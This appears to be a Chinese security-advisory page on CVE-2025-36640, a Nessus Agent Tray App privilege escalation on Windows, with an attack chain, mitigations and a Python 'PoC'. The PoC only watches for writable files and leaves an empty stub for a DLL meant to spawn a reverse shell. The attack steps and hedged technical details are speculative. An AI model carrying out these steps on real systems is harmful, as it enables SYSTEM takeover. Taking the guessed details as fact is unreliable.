IPBUF安全漏洞报告
English
CVE-2025-36640 CVSS 8.8 高危

CVE-2025-36640: Nessus Agent Tray App本地权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2025-36640
漏洞类型
本地权限提升
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenable Nessus Agent Tray App (Windows)

相关标签

CVE-2025-36640权限提升本地攻击Nessus AgentWindowsDLL劫持Tenable高危漏洞CWE-269CVSS 8.8

漏洞概述

CVE-2025-36640是Tenable Nessus Agent Windows版本中的一个高危本地权限提升漏洞。CVSS评分8.8,属于高危级别。该漏洞存在于Nessus Agent Tray App的安装和卸载过程中,攻击者可以利用安装/卸载程序的不安全文件操作权限,在低权限账户下实现SYSTEM级别的代码执行。漏洞利用无需用户交互,攻击复杂度低,具有高机密性、高完整性和高可用性影响。此漏洞由Tenable安全团队发现并报告,披露日期为2026年1月13日。攻击向量为本地路径(AV:L),需要低权限认证(PR:L)但无需用户交互(UI:N)。成功利用此漏洞可使普通用户获得Windows系统的完全控制权,对企业终端安全构成严重威胁。

技术细节

该漏洞属于Windows本地权限提升类漏洞(CWE-269: Improper Privilege Management)。在Nessus Agent Tray App的安装或卸载过程中,安装程序会对系统目录和注册表进行写入操作。由于权限配置不当,低权限用户可以干预这些操作,通过符号链接(Symbolic Link)、DLL劫持(DLL Hijacking)或文件覆盖等方式植入恶意代码。具体而言,安装程序可能在C:\Program Files\Tenable\Nessus Agent\目录或其子目录下创建可被普通用户修改的文件或目录。攻击者利用Windows文件系统的权限继承特性或NTFS交换替代数据流(ADS),在安装程序执行时使恶意代码以SYSTEM权限被加载执行。由于Nessus Agent以服务形式运行,其Tray App进程拥有较高的执行权限,成功利用后攻击者可获得与Nessus Agent服务账户同等的SYSTEM级别权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者获取目标Windows主机的低权限访问权限,通过systeminfo、whoami等命令确认当前用户权限和系统信息,识别Nessus Agent是否已安装
STEP 2
步骤2: 漏洞识别
攻击者检查Nessus Agent安装目录的权限配置,识别安装/卸载过程中存在的不安全文件操作,如可被普通用户写入的DLL加载路径或可被覆盖的可执行文件
STEP 3
步骤3: DLL劫持准备
攻击者构造恶意DLL文件,该DLL导出Nessus Agent Tray App所需函数,并在DLLMain或导出函数中包含恶意代码(如创建管理员账户或反弹shell)
STEP 4
步骤4: 触发安装/卸载操作
攻击者等待或主动触发Nessus Agent的安装、更新或卸载操作。可通过Tenable管理控制台推送策略,或本地执行安装程序
STEP 5
步骤5: DLL替换/注入
在安装程序创建或加载DLL文件时,攻击者利用TOCTOU(Time-of-check to time-of-use)竞态条件或直接覆盖可写文件,将恶意DLL替换为合法DLL
STEP 6
步骤6: 权限提升
Nessus Agent Tray App以SYSTEM权限加载恶意DLL,攻击者的恶意代码在SYSTEM上下文中执行,成功实现本地权限提升
STEP 7
步骤7: 持久化控制
攻击者在获得SYSTEM权限后,可创建后门账户、修改服务配置或植入恶意软件,实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-36640 PoC - Nessus Agent Tray App Privilege Escalation # This PoC demonstrates the privilege escalation vulnerability during Nessus Agent installation # Target: Windows hosts with Nessus Agent Tray App < fixed version import os import sys import time import shutil import threading def check_nessus_installed(): """Check if Nessus Agent is installed on the system""" nessus_paths = [ r'C:\Program Files\Tenable\Nessus Agent', r'C:\Program Files (x86)\Tenable\Nessus Agent', r'C:\ProgramData\Tenable\Nessus Agent' ] for path in nessus_paths: if os.path.exists(path): return True, path return False, None def monitor_installation(target_dir): """ Monitor installation directory for newly created files that can be exploited for DLL hijacking """ print(f'[*] Monitoring {target_dir} for new files...') created_files = [] while True: try: for root, dirs, files in os.walk(target_dir): for file in files: filepath = os.path.join(root, file) if filepath not in created_files: created_files.append(filepath) print(f'[+] Discovered file: {filepath}') # Check if file is writable by low-priv user if os.access(filepath, os.W_OK): print(f'[!] File is writable: {filepath}') print(f'[!] Potential DLL hijacking target detected!') except Exception as e: print(f'[-] Error during monitoring: {e}') time.sleep(1) def create_malicious_dll(dll_path): """ Create malicious DLL for privilege escalation Note: This is for educational purposes only """ # Malicious DLL would be placed here # The DLL should export required functions and spawn a reverse shell pass def main(): print('='*60) print('CVE-2025-36640 Nessus Agent Privilege Escalation PoC') print('='*60) # Check if running on Windows if sys.platform != 'win32': print('[-] This exploit only works on Windows systems') return # Check for Nessus Agent installation installed, nessus_path = check_nessus_installed() if installed: print(f'[+] Nessus Agent found at: {nessus_path}') # Start monitoring thread monitor_thread = threading.Thread( target=monitor_installation, args=(nessus_path,), daemon=True ) monitor_thread.start() print('[*] Waiting for installation/update operations...') print('[*] Monitor for writable DLLs and exploit during installation') # Keep running try: while True: time.sleep(1) except KeyboardInterrupt: print('\n[-] Exiting...') else: print('[-] Nessus Agent not found on this system') print('[*] Exploitation requires Nessus Agent installation') if __name__ == '__main__': main()

影响范围

Nessus Agent Tray App < 10.8.0 (Windows)
Nessus Agent (all versions prior to 2026-01-13 patch)

防御指南

临时缓解措施
立即将Nessus Agent升级至官方发布的安全版本(10.8.0或更新版本)。如无法立即升级,可采取以下临时缓解措施:1) 限制用户对Nessus Agent安装目录的写入权限;2) 监控系统日志中的可疑进程创建行为;3) 禁用Nessus Agent的自动更新功能直到补丁应用;4) 考虑在终端防护产品中为Nessus Agent相关进程设置应用程序控制策略。同时,建议通过Windows事件日志监控用户组变更和新建账户行为,以检测潜在的权限提升利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表